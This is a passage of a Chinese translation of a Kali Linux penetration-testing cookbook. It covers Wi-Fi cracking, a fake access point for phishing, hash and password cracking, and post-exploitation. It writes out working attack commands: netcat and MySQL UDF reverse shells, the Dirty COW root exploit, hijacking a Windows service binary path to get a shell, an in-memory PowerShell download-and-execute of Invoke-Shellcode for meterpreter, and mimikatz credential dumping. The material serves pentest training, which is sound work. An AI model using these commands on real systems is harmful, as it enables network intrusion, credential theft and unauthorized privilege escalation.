Kali-Linux-道德黑客秘籍-二-

Kali Linux：道德黑客秘籍（二）

原文：annas-archive.org/md5/7F6D5A44FB1E50E1F70AA8207514D628

译者：飞龙

协议：CC BY-NC-SA 4.0

第六章：无线攻击-超越 Aircrack-ng

在本章中，我们将涵盖以下内容：

• 老牌 Aircrack

• 与 Gerix 一起

• 处理 WPAs

• 使用 Ghost Phisher 拥有员工帐户

• Pixie dust 攻击

介绍

如官方网站上所述：

“Aircrack-ng 是一个完整的工具套件，用于评估 Wi-Fi 网络安全性。

它专注于 Wi-Fi 安全的不同领域：

• 监控：数据包捕获和将数据导出到文本文件，以便第三方工具进一步处理

• 攻击：重放攻击，去认证，伪造接入点和其他通过数据包注入

• 测试：检查 Wi-Fi 卡和驱动程序功能（捕获和注入）

• 破解：WEP 和 WPA PSK（WPA 1 和 2）

老牌 Aircrack

Aircrack 是一个用于网络的软件套件，包括网络探测器，数据包嗅探器和 WEP/WPA2 破解器。它是开源的，专为 802.11 无线局域网设计（有关更多信息，请访问en.wikipedia.org/wiki/IEEE_802.11）。它包括各种工具，如aircrack-ng，airmon-ng，airdecap，aireplay-ng，packetforge-ng等。

在这个示例中，我们将涵盖使用 Aircrack 套件破解无线网络的一些基础知识。您将学习使用airmon-ng，aircrack-ng，airodump-ng等工具来破解我们周围无线网络的密码。

准备就绪

我们需要有一个支持数据包注入的 Wi-Fi 硬件。 Alfa Networks 的 Alfa 卡，TP-Link TL-WN821N 和 EDIMAX EW-7811UTC AC600 是我们可以使用的一些卡。在这个例子中，我们使用 Alfa 卡。

如何做...

以下步骤演示了 Aircrack：

1. 我们输入airmon-ng命令，以检查我们的卡是否被 Kali 检测到：

1. 接下来，我们需要使用以下命令将我们的适配器设置为监视模式：

 airmon-ng start wlan0mon 

以下屏幕截图显示了前面命令的输出：

1. 现在，为了查看附近运行的路由器，我们使用以下命令：

 airodump-ng wlan0mon

以下屏幕截图显示了前面命令的输出：

1. 在这里，我们注意到我们想要破解的网络的BSSID；在我们的例子中，它是B8:C1:A2:07:BC:F1，频道号是9。我们通过按Ctrl + C停止该过程，并保持窗口打开。

2. 现在我们使用airodump-ng捕获数据包，并使用-w开关将这些数据包写入文件：

 airodump-ng -w packets -c 9 --bssid B8:C1:A2:07:BC:F1 wlan0mon

以下屏幕截图显示了前面命令的输出：

1. 现在我们需要观察信标和数据列；这些数字从0开始，并随着数据包在路由器和其他设备之间传递而增加。我们至少需要 20,000 个初始化向量才能成功破解有线等效隐私（WEP）密码：

2. 为了加快进程，我们打开另一个终端窗口并运行aireplay-ng，并使用以下命令执行伪身份验证：

 aireplay-ng -1 0 -e <AP ESSID> -a <AP MAC> -h <OUR MAC> wlan0mon 
       {fake authentication}

以下屏幕截图显示了前面命令的示例：

1. 现在让我们使用以下命令进行 ARP 数据包重放：

 aireplay-ng -3 -b BSSID wlan0mon

以下屏幕截图显示了前面命令的示例：

1. 一旦我们有足够的数据包，我们就开始aircrack-ng，并提供我们保存数据包的文件名：

 aircrack-ng filename.cap

以下屏幕截图显示了前面命令的示例：

1. 一旦破解，我们应该在屏幕上看到密码：

它是如何工作的...

这种攻击的思想是尽可能多地捕获数据包。每个数据包包含一个初始化向量（IV），其大小为 3 个字节，并与之关联。我们只需捕获尽可能多的 IV，然后在其上使用 Aircrack 来获取我们的密码。

与 Gerix 一起

在上一个教程中，您学会了如何使用 Aircrack 套件来破解 WEP。在这个教程中，我们将使用基于 GUI 的工具 Gerix，它使 Aircrack 套件易于使用，并使我们的无线网络审计更加容易。Gerix 是由 J4r3tt 开发的基于 Python 的工具。

准备就绪

让我们使用以下命令安装 Gerix：

git clone https://github.com/J4r3tt/gerix-wifi-cracker-2.git

如何操作...

以下步骤演示了 Gerix 的使用：

1. 下载完成后，我们进入下载的目录并运行以下命令：

 cd gerix-wifi-cracker-2

1. 我们使用以下命令运行工具：

 python gerix.py

上述命令可以在以下截图中看到：

1. 窗口打开后，我们点击“配置”选项卡中的“启用/禁用监视模式”，如下截图所示：

1. 然后，我们点击“重新扫描网络”：

1. 这将显示可用的接入点列表和它们使用的认证类型。我们选择一个带有 WPA 的接入点，然后切换到 WPA 选项卡。

2. 在这里，我们点击“常规功能”，然后点击“开始捕获”：

1. 由于 WPA 攻击需要捕获握手，我们需要一个站点已连接到接入点。因此，我们点击“自动加载受害者客户端”或输入自定义受害者 MAC：

1. 接下来，我们选择去认证号。我们在这里选择0以执行去认证攻击，然后点击“客户端去认证”按钮：

1. 我们应该看到一个弹出窗口，它会为我们执行去认证：

在 airodump 窗口中，我们应该看到已捕获到握手。

1. 现在我们准备破解 WPA，我们切换到 WEP 破解选项卡，在 WPA 暴力破解中，我们给出一个字典的路径，然后点击“Aircrack-ng - 破解 WPA 密码”：

1. 我们应该看到 Aircrack 窗口，当密码被破解时它会显示给我们：

1. 同样，这个工具也可以用来破解 WEP/WPA2 网络。

处理 WPA

Wifite 是一个仅适用于 Linux 的工具，旨在自动化无线审计过程。它需要安装 Aircrack 套件、Reaver、Pyrit 等才能正常运行。它已预装在 Kali 中。在这个教程中，您将学习如何使用 wifite 来破解一些 WPA。

如何操作...

要了解 Wifite，请按照以下步骤操作：

1. 我们可以通过输入以下命令来启动 Wifite：

 wifite

上述命令显示了所有可用网络的列表，如下截图所示：

1. 然后我们按下Ctrl + C来停止；然后它会要求您选择要尝试破解的网络：

1. 我们输入我们的数字并按Enter。工具会自动尝试使用不同的方法来破解网络，最终，如果成功破解，它会显示密码：

我们将看到以下密码：

使用 Ghost Phisher 拥有员工账户

Ghost Phisher 是一个无线网络审计和攻击软件，它创建一个网络的虚假接入点，欺骗受害者连接到它。然后为受害者分配一个 IP 地址。该工具可用于执行各种攻击，如凭据钓鱼和会话劫持。它还可以用于向受害者传递 meterpreter 有效载荷。在这个教程中，您将学习如何使用该工具执行各种网络钓鱼攻击或窃取 cookies 等。

如何操作...

可以在下面看到 Ghost Phisher 的使用：

1. 我们使用ghost-phisher命令启动它：

1. 在这里，我们选择我们的接口并点击“设置监视器”：

1. 现在我们输入我们想要创建的接入点的详细信息：

1. 然后，我们点击“开始”以创建一个新的无线网络并使用该名称。

2. 然后，我们切换到虚假 DNS 服务器。在这里，我们需要提到受害者打开任何网页时将被引导到的 IP 地址：

1. 然后我们启动 DNS 服务器。

2. 然后，我们切换到虚假 DHCP 服务器。在这里，我们需要确保当受害者尝试连接时，他/她会被分配一个 IP 地址：

1. 完成后，我们点击“开始”以启动 DHCP 服务。

2. 如果我们想要钓鱼并捕获凭据，我们可以通过在虚假 HTTP 服务器选项卡中设置选项来将他们引导到我们的钓鱼页面。在这里，我们可以上传我们想要显示的 HTML 页面或提供我们想要克隆的 URL。我们启动服务器：

1. 在下一个选项卡中，我们看到 Ghost Trap；这个功能允许我们执行 Metasploit 有效载荷攻击，它将要求受害者下载我们准备好的 meterpreter 有效载荷，一旦执行，我们将获得一个 meterpreter 连接。

2. 在会话劫持选项卡中，我们可以监听和捕获可能通过网络的会话。我们在这里需要做的就是输入网关或路由器的 IP 地址，然后点击“开始”，它将检测并显示任何捕获的 cookie/会话：

1. 我们在 HTTP 服务器中捕获的凭据可以在收获的凭据选项卡中看到。

Pixie dust 攻击

Wi-Fi Protected Setup（WPS）于 2006 年推出，供希望连接到家庭网络而不必记住 Wi-Fi 的复杂密码的家庭用户使用。它使用八位数的 PIN 来验证客户端到网络的身份。

Pixie dust 攻击是一种暴力破解八位数 PIN 的方法。如果路由器易受攻击，这种攻击可以在几分钟内恢复 PIN。另一方面，简单的暴力破解需要几个小时。在这个教程中，您将学习如何执行 pixie dust 攻击。

可以在docs.google.com/spreadsheets/d/1tSlbqVQ59kGn8hgmwcPTHUECQ3o9YhXR91A_p7Nnj5Y/edit?pref=2&pli=1#gid=2048815923找到攻击将起作用的易受攻击的路由器列表。

准备工作

我们需要启用 WPS 的网络。否则，它将无法工作。

如何做...

要了解 pixie dust，请按照以下步骤：

1. 我们使用以下命令在监视器模式下启动我们的接口：

 airmon-ng start wlan0

1. 然后，我们需要找到启用 WPS 的网络；我们可以使用以下命令来做到这一点：

 wash -i <monitor mode interface> -C

以下截图显示了上述命令的示例：

1. 现在我们使用以下命令运行reaver：

 reaver -i wlan0mon -b [BSSID] -vv -S -c [AP channel]

以下截图显示了上述命令的示例：

1. 完成后，我们应该看到 PIN。

还有更多...

以下是一些可以在攻击无线网络时参考的优秀文章：

• www.hackingtutorials.org/wifi-hacking-tutorials/pixie-dust-attack-wps-in-kali-linux-with-reaver/

• www.kalitutorials.net/2014/04/hack-wpawpa2-wps-reaver-kali-linux.html

第七章：密码攻击-它们的星星中的错误

在本章中，我们将涵盖以下教程：

• 识别野外中的不同类型的哈希！

• 使用哈希标识符

• 使用 patator 破解

• 在线破解哈希

• 与约翰·里波特一起玩

• 约翰尼·布拉沃！

• 使用 cewl

• 使用 crunch 生成单词列表

介绍

弱密码是一个众所周知的情况，大多数公司都会受到影响。很多人使用可以被暴力破解的弱密码，可以获得明文。在本章中，我们将讨论在 webapp/network 上进行渗透测试活动期间获得的密码哈希的不同破解方法。

识别野外中的不同类型的哈希！

哈希是由单向数学算法生成的，这意味着它们无法被反转。打破的唯一方法是暴力破解它们。在这个教程中，您将学习如何识别一些不同类型的哈希。

如何做...

以下是哈希的类型。

MD5

这是最常见的哈希类型。MD 代表消息摘要算法。可以使用以下观察来识别这些哈希：

• 它们是十六进制的

• 它们的长度为 32 个字符，128 位，例如21232f297a57a5a743894a0e4a801fc3

MySQL 小于 v4.1

我们可能在从 SQL 注入中提取数据时遇到这些哈希。可以使用以下观察来识别这些哈希：

• 它们也是十六进制的

• 它们的长度为 16 个字符，64 位，例如606727496645bcba

MD5（WordPress）

这在通过 WordPress 制作的网站上使用。可以使用以下观察来识别这些哈希：

• 它们以$P$开头

• 它们包含字母数字字符

• 它们的长度为 34 个字符，64 位，例如$P$9QGUsR07ob2qNMbmSCRh3Moi6ehJZR

MySQL 5

这在 MySQL 的新版本中用于存储凭据。可以使用以下观察来识别这些哈希：

• 它们全是大写

• 它们总是以星号开头

• 它们的长度为 41 个字符，例如*4ACFE3202A5FF5CF467898FC58AAB1D615029441

Base64 编码

Base64 很容易识别。转换是通过将八个八位字节编码为四个字符来完成的。检查 Base64 的最简单方法如下：

• 验证长度是否为 4 的倍数

• 验证每个字符是否在 A-Z、a-z、0-9、+、/的集合中，除了末尾的填充，它是 0、1 或 2，=字符，例如YW55IGNhcm5hbCBwbGVhc3VyZS4=

还有更多...

这是一篇文章，了解更多关于不同类型的哈希：

www.101hacker.com/2010/12/hashes-and-seeds-know-basics.html

使用哈希标识符

在前面的教程中，您学会了如何识别一些常见的哈希类型。但是还有其他类型的哈希，本教程中，您将学习如何识别我们在渗透测试项目中发现的其他哈希。

如何做...

以下步骤演示了哈希标识符的使用：

1. Kali 预装了一个名为哈希标识符的工具。要启动该工具，我们使用以下命令：

 hash-identifier

以下屏幕截图显示了前面命令的输出：

1. 现在我们只需要在这里粘贴我们找到的哈希，它会显示给我们类型：

使用 patator 破解

有时，我们可能有用户名，但我们想尝试暴力破解密码。Patator 是一个令人惊奇的工具，可以让我们暴力破解多种类型的登录，甚至 ZIP 密码。在本教程中，我们将看到如何使用 patator 执行暴力破解攻击。

如何做...

以下是使用 patator 的步骤：

1. 要查看所有选项，我们使用以下命令：

 patator -h

以下屏幕截图显示了前面命令的输出：

1. 让我们尝试暴力破解 FTP 登录：

 patator ftp_login

以下截图显示了前面命令的输出：

1. 现在我们可以设置host、user文件和password文件并运行模块：

 patator ftp_login host=192.168.36.16 user=ftp password=ftp

以下截图显示了前面命令的输出：

1. 我们可以看到已经获得了访问权限并且模块已停止。

在线破解哈希值

通常在渗透测试中遇到哈希值时，最好在线检查哈希值：它是否已经被破解。在这个教程中，您将了解一些提供哈希值破解服务的很酷的网站。

如何做...

让我们来看看识别不同类型的哈希值。

Hashkiller

以下步骤演示了 Hashkiller 的使用：

1. Hashkiller 是一个很棒的服务，我们可以提交我们的哈希值，如果它在过去已经被破解，它将向我们显示明文：

1. 这个过程很简单；我们只需在网站上选择解密器/破解器的选项，然后点击我们想要破解的哈希类型：

1. 在打开的页面上，我们粘贴我们的哈希值，填写验证码，然后点击提交：

1. 如果哈希值存在，它将向我们显示明文；否则，我们将看到一条消息，显示未找到任何哈希值！：

Crackstation

Crackstation 是一个免费的服务，支持 MD2、MD5、NTLM 和 SHA1 破解。它使用自己的单词列表和查找表来有效地从数据库中执行哈希的明文搜索：

1. 我们访问网站crackstation.net/：

1. 我们粘贴要破解的哈希值并填写验证码：

1. 如果找到哈希值，我们将看到明文；否则，我们会看到一个消息，说哈希值未找到：

1. Crackstation 还提供其密码列表和查找表的下载链接，如果我们想要使用它来离线使用 hashcat 等工具破解密码，crackstation.net/buy-crackstation-wordlist-password-cracking-dictionary.htm：

OnlineHashCrack

这是一个付费服务，也是我最喜欢的之一。它支持 OSX、MD4、MD5、NTLM、WPA(2)，以及对 Word、Excel、PPT 受保护文档的暴力破解。它提供八个字符的免费密码，之后收取一小费来显示成功破解的密码：

1. 我们访问网站onlinehashcrack.com/：

1. 在这里，我们可以提交我们的哈希值或.apt文件进行破解，并填写我们想要接收通知的电子邮件地址：

1. 在我们的电子邮件中收到的唯一链接上，我们可以看到所有已破解或未在网站上找到的哈希值的状态：

玩弄约翰·里帕

网站和在线服务可能并不总是可用，也有可能这些网站可能没有我们找到的哈希值的明文。在这种情况下，我们可以使用不同的离线工具来破解哈希值。

假设我们现在有哈希值，并且已经确定了它的类型。在这个教程中，我们将看到如何使用约翰·里帕破解哈希值。约翰速度快，支持各种破解模式。它还具有自动检测哈希类型的能力。

如何做...

要了解约翰·里帕，按照给定的步骤进行：

1. 我们可以使用帮助（-h）命令查看完整的功能：

 john -h

以下屏幕截图显示了前面命令的输出：

1. 要破解密码，我们使用以下命令：

 john --format=raw-md5
        --wordlist=/usr/share/wordlists/rockyou.txt /root/demo_hash.txt

1. 我们将看到密码已成功破解！

还有更多...

有关更多信息，您可以参考以下文章：

• pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats

约翰尼·布拉沃！

Johnny 是 John 的 GUI 客户端。由于它添加了一个 UI，因此使用起来更加容易。

如何做...

要了解 Johnny，请按照给定的步骤：

1. 在我们之前的教程中，您已经学会了如何使用 John。我们将使用以下命令启动 Johnny：

 johnny

以下屏幕截图显示了前面命令的输出：

1. 我们通过单击“打开密码文件”选项来加载我们的密码文件。我们的文件已加载：

1. 现在我们转到选项，并选择我们要执行的攻击类型：

1. 我们选择哈希的格式：

1. 完成后，我们点击开始攻击，当密码破解时，我们应该看到我们的密码。

使用 cewl

cewl是一个基于 Ruby 的爬虫，它爬取 URL 并搜索可用于密码攻击的单词。在这个教程中，我们将看看如何利用它。

如何做...

以下是使用cewl的步骤：

1. 要查看cewl的所有选项，我们使用这个命令：

 cewl -h

以下屏幕截图显示了前面命令的输出：

1. 要爬取一个网站，我们使用这个命令：

 cewl -d 2 http://192.168.36.16/forum/

以下屏幕截图显示了前面命令的输出：

1. 我们将看到一个有趣的关键字列表，可以用来制作我们自己的字典密码列表：

使用 crunch 生成单词列表

Crunch 是一个单词列表生成器。它使用排列和组合来生成所提供字符集的所有可能组合。

如何做...

要了解 Crunch，请按照给定的步骤：

1. Crunch 已经预装在 Kali 中，我们可以使用以下命令启动它：

 crunch -h

1. 正如我们所看到的，很容易使用abcdef生成一个最小为两个字符，最大为两个字符的密码列表，我们可以使用以下命令：

 crunch 2 2 abcdef

我们可以看到已经生成了单词列表：

1. 要将其保存到文件中，我们可以使用-o开关。Crunch 还有一个内置列表，其中包含预定义的字符集。它可以在/usr/share/crunch/charset.lst中找到。

2. 要使用字符集，我们使用-f开关：

 crunch 2 2 -f /usr/share/crunch/charset.lst lalpha

以下屏幕截图显示了前面命令的输出：

1. 这将生成一个包含小写字母的最小长度和最大长度为2的列表。Crunch 还有一个-t开关，可以用来创建特定模式的单词列表：

• @: 这将插入小写字符

• ,: 这将插入大写字符

• %: 这将插入数字

• ^: 这将插入符号

1. 开关-b可以用来指定要创建的文件的大小：

1. 让我们尝试创建一个具有特定模式且大小为 1 MB 的列表：

 crunch 10 10 -t @@packt,,% -b 1mib -o START

1. 完成后，我们将看到一个包含相同文件夹中模式的文本文件列表：

1. -z标志可用于创建单词列表并将其保存在压缩文件中。压缩是在进行中完成的：

 crunch 10 10 -t @@packt,,% -b 1mib -o START -z gzip

以下屏幕截图显示了前面命令的输出：

第八章：现在有 Shell 了，怎么办？

在本章中，我们将涵盖以下教程：

• 生成 TTY shell

• 寻找弱点

• 水平升级

• 垂直升级

• 节点跳跃：转向

• Windows 上的特权升级

• PowerSploit

• 使用 mimikatz 提取明文密码

• 从机器中转储其他保存的密码

• 转向

• 为了持久性而给可执行文件加后门

介绍

这是特权升级，正如维基百科所述，特权升级是利用操作系统或软件应用程序中的漏洞、设计缺陷或配置疏忽来获取对通常受到应用程序或用户保护的资源的提升访问权限的行为。这导致对资源的未经授权访问。可能存在两种特权升级：

• 水平：这种情况发生在我们能够执行原本不是为当前用户访问而设计的命令或函数的条件下

• 垂直：这种利用发生在我们能够将我们的特权提升到更高的用户级别时，例如，在系统上获取 root 权限

在本章中，您将学习在 Linux 和 Windows 系统上提升特权的不同方法，以及访问内部网络的方法。

生成 TTY Shell

我们已经涵盖了不同类型的特权升级。现在让我们看一些关于如何在这个系统上获取 TTY shell 的例子。TTY 展示了一个简单的文本输出环境，允许我们输入命令并获取输出。

如何做...

1. 让我们看一个例子，我们有一个运行 zenPHOTO 的 Web 应用程序：

1. zenPHOTO 已经有一个公开的漏洞正在运行，我们通过有限的 shell 获得了对它的访问：

1. 由于这是一个有限的 shell，我们尝试逃离它，并通过首先在系统上上传netcat，然后使用netcat来获取反向连接。

 wget x.x.x.x/netcat –o /tmp/netcat

1. 现在我们可以使用以下命令进行反向连接：

 netcat <our IP > -e /bin/bash <port number>

1. 看着我们的终端窗口，在那里我们设置了监听器，我们会看到一个成功的连接：

 nc –lnvp <port number>

让我们获取一个更稳定的 TTY shell；假设这是一个 Linux 系统，我们已经在上面安装了 Python，并且我们可以使用这个命令获取一个 shell：

python -c 'import pty; pty.spawn("/bin/sh")'

我们现在有了一个更好的执行命令的方式。有时，我们可能会发现自己处于这样一种情况：我们通过 ssh 或其他方法获得的 shell 是一个有限的 shell。

一个非常著名的有限 shell 是lshell，它只允许我们运行一些命令，比如echo、ls、help等。逃离lshell很容易，因为我们只需要输入这个：

echo os.system('/bin/bash')

然后我们就可以访问一个没有更多限制的命令 shell。

还有更多...

还有其他各种方式可以使用 Ruby、Perl 等生成 TTY shell。这可以在netsec.ws/?p=337上看到。

寻找弱点

现在我们有了一个稳定的 shell，我们需要寻找漏洞、错误配置或任何能帮助我们在系统上提升特权的东西。在这个教程中，我们将看一些提升特权以获取系统根目录的方法。

如何做...

我建议大家在服务器上有了 shell 之后，尽可能多地进行枚举：我们知道的越多，我们就有更好的机会在系统上提升特权。

如g0tmi1k所述，提升特权的关键步骤在系统上是：

• 收集：枚举，更多的枚举，还有更多的枚举。

• 过程：整理数据，分析和排序。

• 搜索：知道要搜索什么以及在哪里找到利用代码。

• 适应：自定义漏洞以适应。并非每个漏洞都可以直接在每个系统上使用。

• 尝试：准备好（很多）试错。

我们将看一些在互联网上常见的脚本，这些脚本通过格式化的方式打印出我们需要的任何信息，从而使我们的工作更加轻松。

第一个是LinEnum，这是一个由 reboot 用户创建的 shell 脚本。它执行了 65 多项检查，并显示了我们需要开始的一切：

查看源代码，我们将看到它将显示内核版本、用户信息、可写目录等信息：

我们可以使用的下一个脚本是LinuxPrivChecker。它是用 Python 制作的。这个脚本还建议可以在系统上使用的特权升级漏洞：

这些脚本很容易在 Google 上找到；但是，关于这个或者我们可以使用手动命令自己完成工作的更多信息可以在netsec.ws/?p=309和 G0tmilk 的博客blog.g0tmi1k.com/找到。

另一个很棒的脚本是由Arr0way（twitter.com/Arr0way）创建的。他在他的博客highon.coffee/blog/linux-local-enumeration-script上提供了源代码。我们可以阅读博客上提供的源代码，以检查脚本的所有功能：

水平升级

您已经学会了如何生成 TTY shell 并执行枚举。在这个教程中，我们将看一些可以进行水平升级以获得更多系统特权的方法。

如何做...

在这里，我们有一个情况，我们已经以www-data的身份获得了一个反向 shell。

运行sudo –-list，我们发现用户被允许以另一个用户waldo的身份打开配置文件：

因此，我们在 VI 编辑器中打开配置文件，并在 VI 的命令行中输入以下内容以在 VI 中获取 shell：

!bash

现在我们有一个以用户waldo身份的 shell。所以，我们的升级是成功的。

在某些情况下，我们还可能在ssh目录中找到授权密钥或保存的密码，这有助于我们进行水平升级。

垂直升级

在这个教程中，我们将看一些例子，通过这些例子我们可以访问受损系统上的 root 账户。成功升级的关键是尽可能多地收集有关系统的信息。

如何做...

对任何盒子进行 root 的第一步是检查是否有任何公开可用的本地 root 漏洞：

1. 我们可以使用诸如Linux Exploit Suggester之类的脚本。这是一个用 Perl 构建的脚本，我们可以指定内核版本，它将显示可能公开可用的漏洞利用，我们可以使用它来获得 root 权限。该脚本可以从github.com/PenturaLabs/Linux_Exploit_Suggester下载：

 git clone https://github.com/PenturaLabs/Linux_Exploit_Suggester.git

1. 现在我们使用cd命令进入目录：

 cd Linux_Exploit_Suggester/

1. 它很容易使用，我们可以通过命令找到内核版本：

 uname –a

1. 我们还可以使用我们在上一个教程中看到的枚举脚本。一旦我们有了版本，我们可以使用以下命令将其与我们的脚本一起使用：

 perl Linux_Exploit_Suggester.pl -k 2.6.18

让我们尝试使用其中一个漏洞利用；我们将使用最新的一个，即dirty cow。

这是 RedHat 解释的 dirty cow 的定义：在 Linux 内核的内存子系统处理写时复制（COW）破坏私有只读内存映射的方式中发现了竞争条件。非特权本地用户可以利用这个缺陷来获得对否则只读内存映射的写访问权限，从而增加他们在系统上的权限。

可以在 exploit DB 上看到这个漏洞代码www.exploit-db.com/exploits/40839/。这个特定的漏洞利用程序向etc/passwd添加了一个具有根权限的新用户：

我们下载漏洞并将其保存在服务器的/tmp目录中。它是用 C 语言编写的，所以我们可以使用服务器上的gcc编译它，使用以下命令：

gcc –pthread dirty.c –o <outputname> -lcrypt

我们使用以下命令chmod（更改文件权限）文件：

chmod +x dirty

然后我们使用./dirty运行它。我们将失去我们的反向连接访问权限，但如果一切顺利，我们现在可以使用用户名firefart和密码firefart作为根用户ssh到机器上。

我们使用以下命令尝试ssh：

ssh –l firefart <IP Address>

现在，dirty cow 有点不稳定，但我们可以使用这个解决方法来使其稳定：

echo 0 > /proc/sys/vm/dirty_writeback_centisecs

让我们执行命令 ID；我们将看到我们现在是系统的根用户！

现在让我们看另一种实现根权限的方法。在这种情况下，我们将假设我们在系统上有一个 shell，并且我们运行的枚举脚本向我们显示 MySQL 进程正在作为系统根用户运行。

MySQL 有一个名为用户定义函数（UDF）的功能；让我们看一种通过 UDF 注入获得根权限的方法。现在我们有两个选择：要么在受损系统上下载代码并进行编译，要么从github.com/mysqludf/lib_mysqludf_sys/blob/master/lib_mysqludf_sys.so下载预编译代码。

一旦它被下载，我们就登录到数据库。通常，人们会将默认的 root 密码留空；或者，我们可以从运行在服务器上的 web 应用程序的配置文件中获取一个。

现在，我们创建一个表，并使用这些命令将我们的文件插入到表中：

create table <table name> (hello blob);
insert into <table name> values (load_file('/path/to/mysql.so'));
select * from <table name> into dumpfile '/usr/lib/mysql/plugin/mysqludf.so';

对于 Windows 系统，命令是一样的；只是到 MySQL 的路径会有所不同。

接下来，我们创建一个sys_eval函数，它将允许我们以根用户身份运行系统命令。对于 Windows，我们运行这个命令：

CREATE FUNCTION sys_eval RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';

对于 Linux，我们运行这个命令：

CREATE FUNCTION sys_eval RETURNS integer SONAME 'mysqludf.so;

现在我们可以使用sys_eval来做任何我们想做的事情；例如，要进行反向连接，我们可以使用这个：

select sys_eval('nc –v <our IP our Port> -e /bin/bash');

这将给我们一个作为系统根用户的反向 shell：

还有其他方法，比如将我们当前的用户添加到 sudoers 文件中。这完全取决于我们的想象力。

节点跳跃 - 枢纽

一旦我们在网络上的一个系统中，我们现在需要寻找网络上的其他机器。信息收集与我们在前几章中学到的内容是一样的。我们可以开始安装和使用 nmap 来查找其他主机以及正在运行的应用程序或服务。在这个示例中，您将学习一些获取网络中端口访问权限的技巧。

如何做...

假设我们已经可以访问一台机器的 shell。我们运行ipconfig并发现该机器内部连接到其他两个网络：

现在我们扫描网络并发现一些机器有一些端口是开放的。您学习了一种很酷的方法，可以将网络枢纽化，以便我们可以访问我们机器上其他网络后面运行的应用程序。

我们将使用以下命令进行ssh端口转发：

ssh –L <our port> <remote ip> <remote port> username@IP

完成后，我们打开浏览器并转到我们使用的端口号：

我们将访问远程主机上运行的应用程序。

还有更多…

还有其他端口转发的方法；例如，使用 proxychains 将帮助您动态转发运行在不同网络子网内的服务器上的端口。一些技术可以在highon.coffee/blog/ssh-meterpreter-pivoting-techniques/找到。

Windows 特权升级

在这个教程中，您将学习在 Windows Server 上获取管理员帐户的几种方法。有多种方法可以在 Windows 系统上获得管理员权限。让我们看看可以完成这个任务的几种方法。

如何做…

一旦我们在系统上有了 meterpreter，Metasploit 有一个内置模块，可以尝试三种不同的方法来获得管理员访问权限。首先，我们将看到 Metasploit 的臭名昭著的getsystem。要查看帮助，我们输入：

getsystem –h

为了尝试获取管理员权限，我们输入以下命令：

getsystem

我们可以看到我们现在是NT AUTHORITY\SYSTEM。有时，这种技术可能不起作用，所以我们尝试另一种方法来在机器上获取系统。我们将看一些重新配置 Windows 服务的方法。

我们将使用sc（也称为服务配置）来配置 Windows 服务。

让我们看看upnphost服务：

sc qc upnphost

首先，我们将我们的netcat二进制文件上传到系统上。一旦完成，我们可以使用我们的二进制文件更改正在运行的服务的二进制路径：

sc config upnphost binPath= "<path to netcat>\nc.exe -nv <our IP> <our port> -e C:\WINDOWS\System32\cmd.exe"

sc config upnphost obj= ".\LocalSystem" password= ""

我们确认更改是否已经生效：

现在我们需要重新启动服务，一旦完成，我们应该有一个带有管理员权限的后向连接：

net start upnphost

我们可以使用net user add命令来添加一个新的管理员用户到系统中，而不是使用netcat等其他方法。

现在让我们尝试另一种方法：Metasploit 有许多不同的用于 Windows 利用的本地漏洞。要查看它们，我们输入msfconsole使用exploit/windows/local <tab>。

我们将使用kitrap0d进行利用。使用exploit/windows/local/ms10_015_kitrap0d。我们设置我们的 meterpreter 会话和有效载荷：

然后我们运行利用程序：

我们有管理员权限。让我们再使用一个利用程序：臭名昭著的bypassuac：

use exploit/windows/local/bypassuac

我们现在设置我们在系统上拥有的当前 meterpreter 会话：

 set session 1

我们运行并看到第二个具有管理员权限的 meterpreter 已经为我们打开：

使用 PowerSploit

随着 PowerShell 的推出，也出现了新的利用 Windows 机器的方法。正如维基百科所描述的，PowerShell（包括 Windows PowerShell 和 PowerShell Core）是微软的任务自动化和配置管理框架，由基于.NET Framework 的命令行 shell 和相关脚本语言组成。

在这个教程中，我们将使用 PowerSploit，这是一个基于 PowerShell 的后渗透框架，用于在系统上获得 meterpreter 访问权限。

如何做…

以下是使用 PowerSploit 的步骤：

1. 现在假设我们有一个基于 Windows 的环境，在这个环境中我们已经成功获得了 shell 访问权限。我们在系统上没有管理员权限。

2. 让我们看一种很酷的方法，使用 PowerSploit 在不实际下载文件到系统上的情况下获取 meterpreter。它在 Kali 菜单中内置。

1. 这里的技巧是下载一个 PowerShell 脚本并将其加载到内存中，因为它从未保存在硬盘上，所以杀毒软件不会检测到它。

2. 我们首先检查 PowerShell 是否已安装，运行powershell：

1. 我们将使用这个命令。使用单引号很重要；否则，我们可能会得到一个缺少括号的错误：

 powershell IEX (New-Object Net.WebClient).DownloadString
      ('https://raw.githubusercontent.com/PowerShellMafia/
      PowerSploit/master/CodeExecution/Invoke-Shellcode.ps1')

1. 我们不应该看到任何错误。现在我们的脚本已经准备好了，我们调用模块并使用以下命令查看帮助：

 Get-Help Invoke-Shellcode

1. 现在我们运行该模块：

 powershell Invoke-Shellcode -Payload
      windows/meterpreter/reverse_https -Lhost 192.168.110.33
      -Lport 4444 –Force

1. 在运行上述脚本之前，我们启动我们的处理程序。

1. 我们现在应该有一个 meterpreter。

1. 现在我们有了 meterpreter，我们可以使用之前提到的任何方法来获取系统权限。

还有更多...

PowerSploit 有很多可以用于进一步利用的 PowerShell 模块，比如获取权限、绕过杀毒软件等等。

我们可以在这里阅读更多信息：

• github.com/PowerShellMafia/PowerSploit

• null-byte.wonderhowto.com/how-to/hack-like-pro-use-powersploit-part-1-evading-antivirus-software-0165535/

使用 mimikatz 提取纯文本密码

现在我们有了 meterpreter，我们可以使用它从内存中转储密码。Mimikatz 是一个很好的工具。它尝试从内存中转储密码。

正如 mimikatz 的创造者所定义的：

“它是用 C 语言制作的，并被认为是一些与 Windows 安全性的实验”现在已经广为人知，可以从内存中提取纯文本密码、哈希值和 PIN 码以及 kerberos 票证。Mimikatz 还可以执行传递哈希、传递票证或构建 Golden 票证。

如何做…

以下是使用 mimikatz 的步骤：

1. 一旦我们有了 meterpreter 和系统权限，我们使用这个命令加载 mimikatz：

 load mimikatz

1. 要查看所有选项，我们输入这个命令：

 help mimikatz

1. 现在为了从内存中检索密码，我们使用 Metasploit 的内置命令：

 msv

1. 我们可以看到 NTLM 哈希值显示在屏幕上。要查看 Kerberos 凭据，我们输入这个：

 kerberos

如果有任何凭据，它们将在这里显示。

从机器中转储其他保存的密码

您已经学会了如何从内存中转储和保存纯文本密码。然而，有时并非所有密码都被转储。不用担心；Metasploit 有其他后期利用模块，我们可以使用这些模块来收集在我们入侵的服务器上运行的不同应用程序和服务的保存密码。

如何做…

首先，让我们检查一下机器上正在运行的应用程序。我们使用这个命令：

use post/windows/gather/enum_applications

